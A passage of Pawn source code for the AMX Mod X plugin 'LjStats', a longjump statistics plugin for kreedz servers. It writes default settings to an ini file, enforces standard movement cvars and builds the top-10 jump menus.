	write_file(filename, "; 1 = red");
	write_file(filename, "; 2 = green");
	write_file(filename, "; 3 = blue");
	write_file(filename, "; 4 = silver");
	write_file(filename, "; 5 = team color");
	write_file(filename, "");
	write_file(filename, "; Cvar kz_leet_lj_clr (default ^"1^")");
	if( server_settings[player][11][0] )
		write_file(filename, server_settings[player][11]);
	else
	{
		fix_config(12, player);
		return 1;
	}
	write_file(filename, "; Cvar kz_pro_lj_clr (default ^"2^")");
	if( server_settings[player][12][0] )
		write_file(filename, server_settings[player][12]);
	else
	{
		fix_config(13, player);
		return 1;
	}
	write_file(filename, "; Cvar kz_good_lj_clr (default ^"4^")");
	if( server_settings[player][13][0] )
		write_file(filename, server_settings[player][13]);
	else
	{
		fix_config(14, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Cvar kz_leet_cj_clr (default ^"1^")");
	if( server_settings[player][14][0] )
		write_file(filename, server_settings[player][14]);
	else
	{
		fix_config(15, player);
		return 1;
	}
	write_file(filename, "; Cvar kz_pro_cj_clr (default ^"2^")");
	if( server_settings[player][15][0] )
		write_file(filename, server_settings[player][15]);
	else
	{
		fix_config(16, player);
		return 1;
	}
	write_file(filename, "; Cvar kz_good_cj_clr (default ^"4^")");
	if( server_settings[player][16][0] )
		write_file(filename, server_settings[player][16]);
	else
	{
		fix_config(17, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Colors of /ljstats (rrr ggg bbb)");
	write_file(filename, "; Cvar kz_ljstats_red (default ^"0^")");
	if( server_settings[player][17][0] )
		write_file(filename, server_settings[player][17]);
	else
	{
		fix_config(18, player);
		return 1;
	}
	write_file(filename, "; Cvar kz_ljstats_green (default ^"255^")");
	if( server_settings[player][18][0] )
		write_file(filename, server_settings[player][18]);
	else
	{
		fix_config(19, player);
		return 1;
	}
	write_file(filename, "; Cvar kz_ljstats_blue (^"159^")");
	if( server_settings[player][19][0] )
		write_file(filename, server_settings[player][19]);
	else
	{
		fix_config(20, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; LongJump Stats Laser Beam");
	write_file(filename, "; 0 = off");
	write_file(filename, "; 1 = normal");
	write_file(filename, "; 2 = uber beam");
	write_file(filename, "; Cvar kz_ljs_beam (default ^"2^")");
	if( server_settings[player][20][0] )
		write_file(filename, server_settings[player][20]);
	else
	{
		fix_config(21, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Enables protection 4 legal kreedz settings");
	write_file(filename, "; Cvar kz_legal_settings (default ^"1^")");
	if( server_settings[player][21][0] )
		write_file(filename, server_settings[player][21]);
	else
	{
		fix_config(22, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Is your server fast?");
	write_file(filename, "; 0 = slow");
	write_file(filename, "; 1 = normal");
	write_file(filename, "; 2 = realy good ( >10mb/s or localhost/lan server )");
	write_file(filename, "; Cvar kz_ljs_fastserver (default ^"2^")");
	if( server_settings[player][22][0] )
		write_file(filename, server_settings[player][22]);
	else
	{
		fix_config(23, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Enables auto-setting 4 kz_ljs_fastserver cvar if it is 2");
	write_file(filename, "; Cvar kz_ljs_autoserver (default ^"1^")");
	if( server_settings[player][23][0] )
		write_file(filename, server_settings[player][23]);
	else
	{
		fix_config(24, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; What is enabled on client when he connects to a server?");
	write_file(filename, "; 0 = nothing");
	write_file(filename, "; a = colorchat");
	write_file(filename, "; b = ljstats");
	write_file(filename, "; c = speed");
	write_file(filename, "; Cvar kz_ljs_connectenabler (default ^"abc^")");
	if( server_settings[player][24][0] )
		write_file(filename, server_settings[player][24]);
	else
	{
		fix_config(25, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Do you want cmds like /speed to be visible in the chat?");
	write_file(filename, "; Cvar kz_ljs_viscmds (default ^"1^")");
	if( server_settings[player][25][0] )
		write_file(filename, server_settings[player][25][0]);
	else
	{
		fix_config(26, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Speedometer type");
	write_file(filename, "; 0 = show real speed and horizontal speed");
	write_file(filename, "; 1 = show real speed");
	write_file(filename, "; 2 = show horizontal speed");
	write_file(filename, "; Cvar kz_ljs_speedtype (default ^"0^")");
	if( server_settings[player][26][0] )
		write_file(filename, server_settings[player][26]);
	else
	{
		fix_config(27, player);
		return 1;
	}
	
	return 1;
}

public fix_config(fix_since, player)
{
	static configsDir[64], filename[128];
	get_configsdir(configsDir, 63);
	format(filename, 127, "%s/ljstats.ini", configsDir);
	
	if( !(fix_since < 2) )
	{
		log_amx("LjS: Error: Settings that gows before #%d in <^"%s^"> cold be incurrent!", (fix_since+1), filename);
		log_amx("LjS: All other settings are setted by default. Please check the config file!");
	}
	else
	{
		log_amx("LjS: Error: Configuration file <^"%s^"> is not currect!", filename);
		log_amx("LjS: All settings are setted by default.");
		
		server_settings[player][0] = "1";
		write_file(filename, "1");
		write_file(filename, "");
		write_file(filename, "; Maximum possible lj (not 4 cj)");
		write_file(filename, "; Cvar kz_max_lj (default ^"260.0^")");
	}
	if( fix_since < 3 )
	{
		server_settings[player][1] = "260.0";
		write_file(filename, "260.0");
		write_file(filename, "");
		write_file(filename, "; 1337 lj (prints to all players)");
		write_file(filename, "; To disable, set it to -1");
		write_file(filename, "; Cvar kz_leet_lj (default ^"250.0^")");
	}
	if( fix_since < 4 )
	{
		server_settings[player][2] = "250.0";
		write_file(filename, "250.0");
		write_file(filename, "");
		write_file(filename, "; Professional lj (prints to all players)");
		write_file(filename, "; To disable, set it to -1");
		write_file(filename, "; Cvar kz_pro_lj (default ^"245.0^")");
	}
	if( fix_since < 5 )
	{
		server_settings[player][3] = "245.0";
		write_file(filename, "245.0");
		write_file(filename, "");
		write_file(filename, "; Good lj (prints to all players)");
		write_file(filename, "; To disable, set it to -1");
		write_file(filename, "; Cvar kz_good_lj (default ^"240.0^")");
	}
	if( fix_since < 6 )
	{
		server_settings[player][4] = "240.0";
		write_file(filename, "240.0");
		write_file(filename, "");
		write_file(filename, "; Minimal lj distance");
		write_file(filename, "; Cvar kz_min_lj (default ^"215.0^")");
	}
	if( fix_since < 7 )
	{
		server_settings[player][5] = "215.0";
		write_file(filename, "215.0");
		write_file(filename, "");
		write_file(filename, "; Difrence between longjump and countjump for good/pro/leet/max jump");
		write_file(filename, "; Cvar kz_cj_dif (default ^"10.0^")");
	}
	if( fix_since < 8 )
	{
		server_settings[player][6] = "10.0";
		write_file(filename, "10.0");
		write_file(filename, "");
		write_file(filename, "; Enables lj sounds");
		write_file(filename, "; 0 = disabled");
		write_file(filename, "; 1 = ultimate sounds");
		write_file(filename, "; 2 = distance in voice");
		write_file(filename, "; Cvar kz_lj_sounds (default ^"1^")");
	}
	if( fix_since < 9 )
	{
		server_settings[player][7] = "1";
		write_file(filename, "1");
		write_file(filename, "");
		write_file(filename, "; How dose plugin works");
		write_file(filename, "; 0 = no top and no colorchat");
		write_file(filename, "; 1 = prints good/pro/leet jumps");
		write_file(filename, "; 2 = enables top10");
		write_file(filename, "; 3 = prints good/pro/leet jumps and enables top10");
		write_file(filename, "; Cvar kz_lj_top (default ^"3^")");
	}
	if( fix_since < 10 )
	{
		server_settings[player][8] = "3";
		write_file(filename, "3");
		write_file(filename, "");
		write_file(filename, "; Do you want to save ljtop after mapchange?");
		write_file(filename, "; Cvar kz_ljs_topsave (default ^"1^")");
	}
	if( fix_since < 11 )
	{
		server_settings[player][9] = "1";
		write_file(filename, "1");
		write_file(filename, "");
		write_file(filename, "; How ranking will work?");
		write_file(filename, "; 0 = names");
		write_file(filename, "; 1 = steam ids");
		write_file(filename, "; 2 = ips");
		write_file(filename, "; Cvar kz_ljs_rank_by (default ^"0^")");
	}
	if( fix_since < 12 )
	{
		server_settings[player][10] = "0";
		write_file(filename, "0");
		write_file(filename, "");
		write_file(filename, "; Kz jumping color chat:");
		write_file(filename, "; 0 = normal");
		write_file(filename, "; 1 = red");
		write_file(filename, "; 2 = green");
		write_file(filename, "; 3 = blue");
		write_file(filename, "; 4 = silver");
		write_file(filename, "; 5 = team color");
		write_file(filename, "");
		write_file(filename, "; Cvar kz_leet_lj_clr (default ^"1^")");
	}
	if( fix_since < 13 )
	{
		server_settings[player][11] = "1";
		write_file(filename, "1");
		write_file(filename, "; Cvar kz_pro_lj_clr (default ^"2^")");
	}
	if( fix_since < 14 )
	{
		server_settings[player][12] = "2";
		write_file(filename, "2");
		write_file(filename, "; Cvar kz_good_lj_clr (default ^"4^")");
	}
	if( fix_since < 15 )
	{
		server_settings[player][13] = "4";
		write_file(filename, "4");
		write_file(filename, "");
		write_file(filename, "; Cvar kz_leet_cj_clr (default ^"1^")");
	}
	if( fix_since < 16 )
	{
		server_settings[player][14] = "1";
		write_file(filename, "1");
		write_file(filename, "; Cvar kz_pro_cj_clr (default ^"2^")");
	}
	if( fix_since < 17 )
	{
		server_settings[player][15] = "2";
		write_file(filename, "2");
		write_file(filename, "; Cvar kz_good_cj_clr (default ^"4^")");
	}
	if( fix_since < 18 )
	{
		server_settings[player][16] = "4";
		write_file(filename, "4");
		write_file(filename, "");
		write_file(filename, "; Colors of /ljstats (rrr ggg bbb)");
		write_file(filename, "; Cvar kz_ljstats_red (default ^"0^")");
	}
	if( fix_since < 19 )
	{
		server_settings[player][17] = "0";
		write_file(filename, "0");
		write_file(filename, "; Cvar kz_ljstats_green (default ^"255^")");
	}
	if( fix_since < 20 )
	{
		server_settings[player][18] = "255";
		write_file(filename, "255");
		write_file(filename, "; Cvar kz_ljstats_blue (^"159^")");
	}
	if( fix_since < 21 )
	{
		server_settings[player][19] = "159";
		write_file(filename, "159");
		write_file(filename, "");
		write_file(filename, "; LongJump Stats Laser Beam");
		write_file(filename, "; 0 = off");
		write_file(filename, "; 1 = normal");
		write_file(filename, "; 2 = uber beam");
		write_file(filename, "; Cvar kz_ljs_beam (default ^"2^")");
	}
	if( fix_since < 22 )
	{
		server_settings[player][20] = "2";
		write_file(filename, "2");
		write_file(filename, "");
		write_file(filename, "; Enables protection 4 legal kreedz settings");
		write_file(filename, "; Cvar kz_legal_settings (default ^"1^")");
	}
	if( fix_since < 23 )
	{
		server_settings[player][21] = "1";
		write_file(filename, "1");
		write_file(filename, "");
		write_file(filename, "; Is your server fast?");
		write_file(filename, "; 0 = slow");
		write_file(filename, "; 1 = normal");
		write_file(filename, "; 2 = realy good ( >10mb/s or localhost/lan server )");
		write_file(filename, "; Cvar kz_ljs_fastserver (default ^"2^")");
	}
	if( fix_since < 24 )
	{
		server_settings[player][22] = "2";
		write_file(filename, "2");
		write_file(filename, "");
		write_file(filename, "; Enables auto-setting 4 kz_ljs_fastserver cvar if it is 2");
		write_file(filename, "; Cvar kz_ljs_autoserver (default ^"1^")");
	}
	if( fix_since < 25 )
	{
		server_settings[player][23] = "1";
		write_file(filename, "1");
		write_file(filename, "");
		write_file(filename, "; What is enabled on client when he connects to a server?");
		write_file(filename, "; 0 = nothing");
		write_file(filename, "; a = colorchat");
		write_file(filename, "; b = ljstats");
		write_file(filename, "; c = speed");
		write_file(filename, "; Cvar kz_ljs_connectenabler (default ^"abc^")");
	}
	if( fix_since < 26 )
	{
		server_settings[player][24] = "abc";
		write_file(filename, "abc");
		write_file(filename, "");
		write_file(filename, "; Do you want cmds like /speed to be visible in the chat?");
		write_file(filename, "; Cvar kz_ljs_viscmds (default ^"1^")");
	}
	if( fix_since < 27 )
	{
		server_settings[player][25] = "1";
		write_file(filename, "1");
		write_file(filename, "");
		write_file(filename, "; Speedometer type");
		write_file(filename, "; 0 = show real speed and horizontal speed");
		write_file(filename, "; 1 = show real speed");
		write_file(filename, "; 2 = show horizontal speed");
		write_file(filename, "; Cvar kz_ljs_speedtype (default ^"0^")");
	}
	if( fix_since < 28 )
	{
		server_settings[player][26] = "0";
		write_file(filename, "0");
	}
}

public plugin_cfg()
{
	if( get_pcvar_num(kz_legal_settings) )
	{
		set_cvar_string("edgefriction", "2");
		set_cvar_string("mp_footsteps", "1");
		set_cvar_string("sv_cheats", "0");
		set_cvar_string("sv_gravity", "800");
		set_cvar_string("sv_maxspeed", "320");
		set_cvar_string("sv_stepsize", "18");
		set_cvar_string("sv_maxvelocity", "2000");
	}
}

public plugin_precache()
{
	plugin_start();
	
	switch(random_num(1,6))
	{
		case 1: gBeam = precache_model("sprites/zbeam1.spr");
		case 2: gBeam = precache_model("sprites/zbeam2.spr");
		case 3: gBeam = precache_model("sprites/zbeam3.spr");
		case 4: gBeam = precache_model("sprites/zbeam4.spr");
		case 5: gBeam = precache_model("sprites/zbeam5.spr");
		case 6: gBeam = precache_model("sprites/zbeam6.spr");
	}
	
	if( get_pcvar_num(kz_lj_sounds) == 1 )
	{
		precache_sound("misc/impressive.wav");
		precache_sound("misc/mod_godlike.wav");
		precache_sound("misc/mod_wickedsick.wav");
		precache_sound("misc/perfect.wav");
	}
	
	if( get_pcvar_num(kz_ljs_enabled) )
		pluginstatus = INFO_ONE;
	else
		pluginstatus = INFO_ZERO;
}

public cmdTopMenu(id)
{
	new plugin_cvar = get_pcvar_num(kz_ljs_enabled);
	new ljtop_cvar = get_pcvar_num(kz_ljs_tops);
	
	if( plugin_cvar && (ljtop_cvar == 2 || ljtop_cvar == 3) )
	{
		new MenuBody[512], len, keys;
		len = format(MenuBody, 511, "\yLjStats by: LT.Rat & .tv!X^^ ^n");

		if( map_distance[0] )
		{		
			len += format(MenuBody[len], 511-len, "^n\r1. \wMap Top");
			keys = (1<<0);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r1. \dMap Top (no jumps)");

		if( lj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r2. \wLongJump Top");
			keys |= (1<<1);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r2. \dLongJump (no ljs)");

		if( cj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r3. \wCountJump Top");
			keys |= (1<<2);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r3. \dCountJump (no cjs)");

		if( bj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r4. \wBhopJump Top");
			keys |= (1<<3);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r4. \dBhopJump Top (no bjs)");

		if( sbj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r5. \wStand-UP BhopJump Top");
			keys |= (1<<4);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r5. \dStand-UP BhopJump Top (no sbjs)");
		
		if( wj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r6. \wWeirdJump Top");
			keys |= (1<<5);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r6. \dWeirdJump Top (no wjs)");
		
		len += format(MenuBody[len], 511-len, "^n^n\r0. \wExit");
		keys |= (1<<9);


	/*	len += format(MenuBody[len], 511-len, "^n^n^n\yTops full stats^n");
		len += format(MenuBody[len], 511-len, "^n\r5. \wTotal top stats");
		keys |= (1<<4);

		if( lj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r6. \wLj top stats");
			keys |= (1<<5);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r6. \dLj top stats (no ljs)");

		if( cj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r7. \wCj top stats");
			keys |= (1<<6);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r7. \dCj top stats (no cjs)");

		if( bj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r8. \wBj top stats");
			keys |= (1<<7);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r8. \dBj top stats (no bjs)");
			
		len += format(MenuBody[len], 511-len, "^n^n\r0. \wExit");
		keys |= (1<<9);
	*/
		show_menu(id, keys, MenuBody, -1, "Top 10 Menu");
	}
	else if( !plugin_cvar )
		client_print(id, print_chat, "[XJ] Tops are not valid. Plugin has been disabled.");
	else
		client_print(id, print_chat, "[XJ] Tops are not valid. Tops have been disabled.");
	
	return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}

public MainTopMenu_Select(id, key)
{
	new plugin_cvar = get_pcvar_num(kz_ljs_enabled);
	new ljtop_cvar = get_pcvar_num(kz_ljs_tops);
	
	if( plugin_cvar && (ljtop_cvar == 2 || ljtop_cvar == 3) )
	{
		switch((key+1))
		{
			case 1:
			{
				if( map_distance[0] )
				{
					show_top(id, TOP_MAP);
					cmdTopMenu(id);
				}
				else
					cmdTopMenu(id);
			}
			case 2:
			{
				if( lj_distance[0] )
				{
					show_top(id, TOP_LJ);
					cmdTopMenu(id);
				}
				else
					cmdTopMenu(id);
			}
			case 3:
			{
				if( cj_distance[0] )
				{
					show_top(id, TOP_CJ);
					cmdTopMenu(id);
				}
				else
					cmdTopMenu(id);
			}
			case 4:
			{
				if( bj_distance[0] )
				{
					show_top(id, TOP_BJ);
					cmdTopMenu(id);
				}
				else
					cmdTopMenu(id);
			}
			case 5:
			{
				if( sbj_distance[0] )
				{
					show_top(id, TOP_SBJ);
					cmdTopMenu(id);
				}
				else
					cmdTopMenu(id);
			}
			case 6:
			{
				if( wj_distance[0] )
				{
					show_top(id, TOP_WJ);
					cmdTopMenu(id);
				}
				else
					cmdTopMenu(id);
			}
#if defined JOKES
			case 7:
			{
				client_print(id, print_chat, "[XJ] It`s a joke :D ");
			}
			case 8:
			{
				client_print(id, print_chat, "[XJ] It`s a joke :D ");
			}
			case 9:
			{
				client_print(id, print_chat, "[XJ] It`s a joke :D ");
			}
#endif

/*
			case 5:
			{
				if( top_distance[0] )
					display_full_top_stats_menu(id, TOP_MAP, 0);
				else
					cmdTopMenu(id);
			}
			case 6:
			{
				if( lj_distance[0] )
					display_full_top_stats_menu(id, TOP_LJ, 0);
				else
					cmdTopMenu(id);
			}
			case 7:
			{
				if( cj_distance[0] )
					display_full_top_stats_menu(id, TOP_CJ, 0);
				else
					cmdTopMenu(id);
			}
			case 8:
			{
				if( bj_distance[0] )
					display_full_top_stats_menu(id, TOP_BJ, 0);
				else
					cmdTopMenu(id);
			}
*/
		}
	}
	else if( !plugin_cvar )
		client_print(id, print_chat, "[XJ] Tops are not valid. Plugin has been disabled.");
	else
		client_print(id, print_chat, "[XJ] Tops are not valid. Tops have been disabled.");
	
	return PLUGIN_HANDLED;
}

public display_full_top_stats_menu(id, toptype, page)
{
	full_top_stats_selected_type[id] = toptype;
	full_top_stats_selected_page[id] = page;

	new i, MenuBody[512], len, keys;
	
	if( toptype == 3 )
	{
		if( page == 2 )
		{
			len = format(MenuBody, 511, "\yFull bj top stats \r2/2^n");
			for( i = INFO_ZERO; i < NSHOW; i++ )
			{
				format( view_names[id][i], 32, bj_names[i] );
				view_distance[id][i] = bj_distance[i];
				view_maxspeed[id][i] = bj_maxspeed[i];
				view_prestrafe[id][i] = bj_prestrafe[i];
				view_strafes[id][i] = bj_strafes[i];
				view_sync[id][i] = bj_sync[i];
				view_type[id][i] = "";
				format( view_pretype[id][i], 31, bj_pretype[i] );
				if( i > 4 )
				{
					len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i-4), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
					if( (i-5) )
						keys |= (1<<(i-5));
					else
						keys = (1<<0);
				}
			}
			len += format(MenuBody[len], 511-len, "^n^n\r9. \wBack");
			keys |= (1<<8);
		}
		else if( page )
		{
			len = format(MenuBody, 511, "\yFull bj top stats \r1/2^n");
			for( i = INFO_ZERO; i < 5; i++ )
			{
				format( view_names[id][i], 32, bj_names[i] );
				view_distance[id][i] = bj_distance[i];
				view_maxspeed[id][i] = bj_maxspeed[i];
				view_prestrafe[id][i] = bj_prestrafe[i];
				view_strafes[id][i] = bj_strafes[i];
				view_sync[id][i] = bj_sync[i];
				view_type[id][i] = "";
				format( view_pretype[id][i], 31, bj_pretype[i] );
				len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
				if( i )
					keys |= (1<<i);
				else
					keys = (1<<0);
			}
			len += format(MenuBody[len], 511-len, "^n^n\r9. \wNext");
			keys |= (1<<8);
		}
		else
		{
			len = format(MenuBody, 511, "\yFull bj top stats \r1/1^n");
			if( bj_distance[9] )
			{
				display_full_top_stats_menu(id, toptype, 1);
				return;
			}
			
			new limit;
			for( limit = INFO_ZERO; limit < NSHOW; limit++ )
			{
				if( !bj_distance[limit] )
					break;
			}
			
			if( limit == 1 )
			{
				format( view_names[id][0], 32, bj_names[0] );
				view_distance[id][0] = bj_distance[0];
				view_maxspeed[id][0] = bj_maxspeed[0];
				view_prestrafe[id][0] = bj_prestrafe[0];
				view_strafes[id][0] = bj_strafes[0];
				view_sync[id][0] = bj_sync[0];
				view_type[id][0] = "";
				format( view_pretype[id][0], 31, bj_pretype[0] );
				len += format(MenuBody[len], 511-len, "^n\r1. \y1. \w%s \r%d", view_names[id][0], (view_distance[id][0]/1000000));
				keys = (1<<0);
			}
			else
			{
				for( i = INFO_ZERO; i < limit; i++ )
				{
					format( view_names[id][i], 32, bj_names[i] );
					view_distance[id][i] = bj_distance[i];
					view_maxspeed[id][i] = bj_maxspeed[i];
					view_prestrafe[id][i] = bj_prestrafe[i];
					view_strafes[id][i] = bj_strafes[i];
					view_sync[id][i] = bj_sync[i];
					view_type[id][i] = "";
					format( view_pretype[id][i], 31, bj_pretype[i] );
					len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
					if( i )
						keys |= (1<<i);
					else
						keys = (1<<0);
				}
			}
		}
	}
	else if( toptype == 2 )
	{
		if( page == 2 )
		{
			len = format(MenuBody, 511, "\yFull cj top stats \r2/2^n");
			for( i = INFO_ZERO; i < NSHOW; i++ )
			{
				format( view_names[id][i], 32, cj_names[i] );
				view_distance[id][i] = cj_distance[i];
				view_maxspeed[id][i] = cj_maxspeed[i];
				view_prestrafe[id][i] = cj_prestrafe[i];
				view_strafes[id][i] = cj_strafes[i];
				view_sync[id][i] = cj_sync[i];
				view_type[id][i] = "";
				format( view_pretype[id][i], 31, cj_pretype[i] );
				if( i > 4 )
				{
					len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i-4), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
					if( (i-5) )
						keys |= (1<<(i-5));
					else
						keys = (1<<0);
				}
			}
			len += format(MenuBody[len], 511-len, "^n^n\r9. \wBack");
			keys |= (1<<8);
		}
		else if( page )
		{
			len = format(MenuBody, 511, "\yFull cj top stats \r1/2^n");
			for( i = INFO_ZERO; i < 5; i++ )
			{
				format( view_names[id][i], 32, cj_names[i] );
				view_distance[id][i] = cj_distance[i];
				view_maxspeed[id][i] = cj_maxspeed[i];
				view_prestrafe[id][i] = cj_prestrafe[i];
				view_strafes[id][i] = cj_strafes[i];
				view_sync[id][i] = cj_sync[i];
				view_type[id][i] = "";
				format( view_pretype[id][i], 31, cj_pretype[i] );
				len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
				if( i )
					keys |= (1<<i);
				else
					keys = (1<<0);
			}
			len += format(MenuBody[len], 511-len, "^n^n\r9. \wNext");
			keys |= (1<<8);
		}
		else
		{
			len = format(MenuBody, 511, "\yFull cj top stats \r1/1^n");
			if( cj_distance[9] )
			{
				display_full_top_stats_menu(id, toptype, 1);
				return;
			}
			
			new limit;
			for( limit = INFO_ZERO; limit < NSHOW; limit++ )
			{
				if( !cj_distance[limit] )
					break;
			}
			
			if( limit == 1 )
			{
				format( view_names[id][0], 32, cj_names[0] );
				view_distance[id][0] = cj_distance[0];
				view_maxspeed[id][0] = cj_maxspeed[0];
				view_prestrafe[id][0] = cj_prestrafe[0];
				view_strafes[id][0] = cj_strafes[0];
				view_sync[id][0] = cj_sync[0];
				view_type[id][0] = "";
				format( view_pretype[id][0], 31, cj_pretype[0] );
				len += format(MenuBody[len], 511-len, "^n\r1. \y1. \w%s \r%d", view_names[id][0], (view_distance[id][0]/1000000));
				keys = (1<<0);
			}
			else
			{
				for( i = INFO_ZERO; i < limit; i++ )
				{
					format( view_names[id][i], 32, cj_names[i] );
					view_distance[id][i] = cj_distance[i];
					view_maxspeed[id][i] = cj_maxspeed[i];
					view_prestrafe[id][i] = cj_prestrafe[i];
					view_strafes[id][i] = cj_strafes[i];
					view_sync[id][i] = cj_sync[i];
					view_type[id][i] = "";
					format( view_pretype[id][i], 31, cj_pretype[i] );
					len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
					if( i )
						keys |= (1<<i);
					else
						keys = (1<<0);
				}
			}
		}
	}
	else if( toptype )
	{
		if( page == 2 )
		{
			len = format(MenuBody, 511, "\yFull lj top stats \r2/2^n");
			for( i = INFO_ZERO; i < NSHOW; i++ )
			{
				format( view_names[id][i], 32, lj_names[i] );
				view_distance[id][i] = lj_distance[i];
				view_maxspeed[id][i] = lj_maxspeed[i];
				view_prestrafe[id][i] = lj_prestrafe[i];
				view_strafes[id][i] = lj_strafes[i];
				view_sync[id][i] = lj_sync[i];
				view_type[id][i] = "";
				format( view_pretype[id][i], 31, lj_pretype[i] );
				if( i > 4 )
				{
					len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i-4), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
					if( (i-5) )
						keys |= (1<<(i-5));
					else
						keys = (1<<0);
				}
			}
			len += format(MenuBody[len], 511-len, "^n^n\r9. \wBack");
			keys |= (1<<8);
		}
		else if( page )
		{
			len = format(MenuBody, 511, "\yFull lj top stats \r1/2^n");
			for( i = INFO_ZERO; i < 5; i++ )
			{
				format( view_names[id][i], 32, lj_names[i] );
				view_distance[id][i] = lj_distance[i];
				view_maxspeed[id][i] = lj_maxspeed[i];
				view_prestrafe[id][i] = lj_prestrafe[i];
				view_strafes[id][i] = lj_strafes[i];
				view_sync[id][i] = lj_sync[i];
				view_type[id][i] = "";
				format( view_pretype[id][i], 31, lj_pretype[i] );
				len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
				if( i )
					keys |= (1<<i);
				else
					keys = (1<<0);
			}
			len += format(MenuBody[len], 511-len, "^n^n\r9. \wNext");
			keys |= (1<<8);
		}
		else
		{
			len = format(MenuBody, 511, "\yFull lj top stats \r1/1^n");
			if( lj_distance[9] )
			{
				display_full_top_stats_menu(id, toptype, 1);
				return;
			}
			
			new limit;
			for( limit = INFO_ZERO; limit < NSHOW; limit++ )
			{
				if( !lj_distance[limit] )
					break;
			}
			
			if( limit == 1 )
			{
				format( view_names[id][0], 32, lj_names[0] );
				view_distance[id][0] = lj_distance[0];
				view_maxspeed[id][0] = lj_maxspeed[0];
				view_prestrafe[id][0] = lj_prestrafe[0];
				view_strafes[id][0] = lj_strafes[0];
				view_sync[id][0] = lj_sync[0];
				view_type[id][0] = "";
				format( view_pretype[id][0], 31, lj_pretype[0] );
				len += format(MenuBody[len], 511-len, "^n\r1. \y1. \w%s \r%d", view_names[id][0], (view_distance[id][0]/1000000));
				keys = (1<<0);
			}
			else
			{
				for( i = INFO_ZERO; i < limit; i++ )
				{
					format( view_names[id][i], 32, lj_names[i] );
					view_distance[id][i] = lj_distance[i];
					view_maxspeed[id][i] = lj_maxspeed[i];
					view_prestrafe[id][i] = lj_prestrafe[i];
					view_strafes[id][i] = lj_strafes[i];
					view_sync[id][i] = lj_sync[i];
					view_type[id][i] = "";
					format( view_pretype[id][i], 31, lj_pretype[i] );
					len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
					if( i )
						keys |= (1<<i);
					else
						keys = (1<<0);
				}
			}
		}
	}
	else
	{
		if( page == 2 )
		{
			len = format(MenuBody, 511, "\yFull total top stats \r2/2^n");
			for( i = INFO_ZERO; i < NSHOW; i++ )
			{
				format( view_names[id][i], 32, top_names[i] );
				view_distance[id][i] = top_distance[i];
				view_maxspeed[id][i] = top_maxspeed[i];
				view_prestrafe[id][i] = top_prestrafe[i];
				view_strafes[id][i] = top_strafes[i];
				view_sync[id][i] = top_sync[i];
				format( view_type[id][i], 4, top_type[i] );
				format( view_pretype[id][i], 31, top_pretype[i] );
				if( i > 4 )
				{
					len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d \d%s", (i-4), (i+1), view_names[id][i], (view_distance[id][i]/1000000), view_type[id][i]);
					if( (i-5) )
						keys |= (1<<(i-5));
					else
						keys = (1<<0);
				}
			}
			len += format(MenuBody[len], 511-len, "^n^n\r9. \wBack");
			keys |= (1<<8);
		}
		else if( page )
		{
			len = format(MenuBody, 511, "\yFull total top stats \r1/2^n");
			for( i = INFO_ZERO; i < 5; i++ )
			{
				format( view_names[id][i], 32, top_names[i] );
				view_distance[id][i] = top_distance[i];
				view_maxspeed[id][i] = top_maxspeed[i];
				view_prestrafe[id][i] = top_prestrafe[i];
				view_strafes[id][i] = top_strafes[i];
				view_sync[id][i] = top_sync[i];
				format( view_type[id][i], 4, top_type[i] );
				format( view_pretype[id][i], 31, top_pretype[i] );
				len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d \d%s", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000), view_type[id][i]);
				if( i )
					keys |= (1<<i);
				else
					keys = (1<<0);
			}
			len += format(MenuBody[len], 511-len, "^n^n\r9. \wNext");
			keys |= (1<<8);
		}
		else
		{
